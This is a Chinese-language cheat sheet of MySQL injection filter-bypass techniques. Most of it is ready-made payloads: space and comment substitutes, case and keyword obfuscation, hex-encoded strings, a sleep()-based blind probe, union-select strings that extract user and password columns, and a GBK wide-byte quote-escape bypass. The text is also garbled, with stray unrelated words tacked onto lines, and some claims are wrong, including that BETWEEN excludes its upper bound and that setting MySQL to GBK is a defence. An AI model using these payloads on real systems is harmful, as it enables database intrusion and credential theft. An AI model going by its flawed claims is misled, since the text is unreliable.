兩個空格代替一個空格,用Tab代替空格,%a0=空格:
mysql
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
最基本的繞過方法,用註釋替換空格:sql
/* 註釋 */
使用浮點數:函數
select * from users where id=8E0union select 1,2,3 select * from users where id=8.0 select 1,2,3
若是空格被過濾,括號沒有被過濾,能夠用括號繞過。編碼
在MySQL中,括號是用來包圍子查詢的。所以,任何能夠計算出結果的語句,均可以用括號包圍起來。而括號的兩端,能夠沒有多餘的空格。url
例如:spa
select(user())from dual where(1=1)and(2=2)
這種過濾方法經常用於time based盲注,例如:3d
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
(from for屬於逗號繞過下面會有)code
上面的方法既沒有逗號也沒有空格。猜解database()第一個字符ascii碼是否爲109,如果則加載延時。regexp
會使用到引號的地方通常是在最後的where
子句中。以下面的一條sql語句,這條語句就是一個簡單的用來查選獲得users表中全部字段的一條語句:orm
select column_name from information_schema.tables where table_name="users"
這個時候若是引號被過濾了,那麼上面的where
子句就沒法使用了。那麼遇到這樣的問題就要使用十六進制來處理這個問題了。 users
的十六進制的字符串是7573657273
。那麼最後的sql語句就變爲了:
select column_name from information_schema.tables where table_name=0x7573657273
在使用盲注的時候,須要使用到substr(),mid(),limit。這些子句方法都須要使用到逗號。對於substr()和mid()這兩個方法可使用from to
的方式來解決:
select substr(database() from 1 for 1); select mid(database() from 1 for 1);
使用join:
union select 1,2 #等價於 union select * from (select 1)a join (select 2)b
使用like:
select ascii(mid(user(),1,1))=80 #等價於 select user() like 'r%'
對於limit
可使用offset
來繞過:
select * from news limit 0,1 # 等價於下面這條SQL語句 select * from news limit 1 offset 0
一樣是在使用盲注的時候,在使用二分查找的時候須要使用到比較操做符來進行查找。若是沒法使用比較操做符,那麼就須要使用到greatest
來進行繞過了。
最多見的一個盲注的sql語句:
select * from users where id=1 and ascii(substr(database(),0,1))>64
此時若是比較操做符被過濾,上面的盲注語句則沒法使用,那麼就可使用greatest
來代替比較操做符了。greatest(n1,n2,n3,...)函數返回輸入參數(n1,n2,n3,...)的最大值。
那麼上面的這條sql語句可使用greatest
變爲以下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
between a and b:返回a,b之間的數據,不包含b。
and=&& or=|| xor=| not=!
id=1' union select 1,2,3||'1
最後的or '1閉合查詢語句的最後的單引號,或者:
id=1' union select 1,2,'3
使用like 、rlike 、regexp 或者 使用< 或者 >
經常使用註釋符:
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
id=-1'UnIoN/**/SeLeCT
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
id=-1'UNIunionONSeLselectECT1,2,3–-
如URLEncode編碼,ASCII,HEX,unicode編碼繞過:
or 1=1即%6f%72%20%31%3d%31,而Test也能夠爲CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
hex()、bin() ==> ascii() sleep() ==>benchmark() concat_ws()==>group_concat() mid()、substr() ==> substring() @@user ==> user() @@datadir ==> datadir() 舉例:substring()和substr()沒法使用時:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 或者: substr((select 'password'),1,1) = 0x70 strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x70) = 0 strcmp(left('password',1), 0x71) = -1
過濾 ' 的時候每每利用的思路是將 ' 轉換爲 \' 。
在 mysql 中使用 GBK 編碼的時候,會認爲兩個字符爲一個漢字,通常有兩種思路:
(1)%df 吃掉 \ 具體的方法是 urlencode('\) = %5c%27,咱們在 %5c%27 前面添加 %df ,造成 %df%5c%27 ,而 mysql 在 GBK 編碼方式的時候會將兩個字節當作一個漢字,%df%5c 就是一個漢字,%27 做爲一個單獨的(')符號在外面:
id=-1%df%27union select 1,user(),3--+
(2)將 \' 中的 \ 過濾掉,例如能夠構造 %**%5c%5c%27 ,後面的 %5c 會被前面的 %5c 註釋掉。
1.replace():過濾 ' \ ,將 ' 轉化爲 \' ,將 \ 轉爲 \\,將 " 轉爲 \" 。用思路一。
2.addslaches():返回在預約義字符以前添加反斜槓(\)的字符串。預約義字符:' , " , \ 。用思路一
(防護此漏洞,要將 mysql_query 設置爲 binary 的方式)
3.mysql_real_escape_string():轉義下列字符:
\x00 \n \r \ ' " \x1a
(防護,將mysql設置爲gbk便可)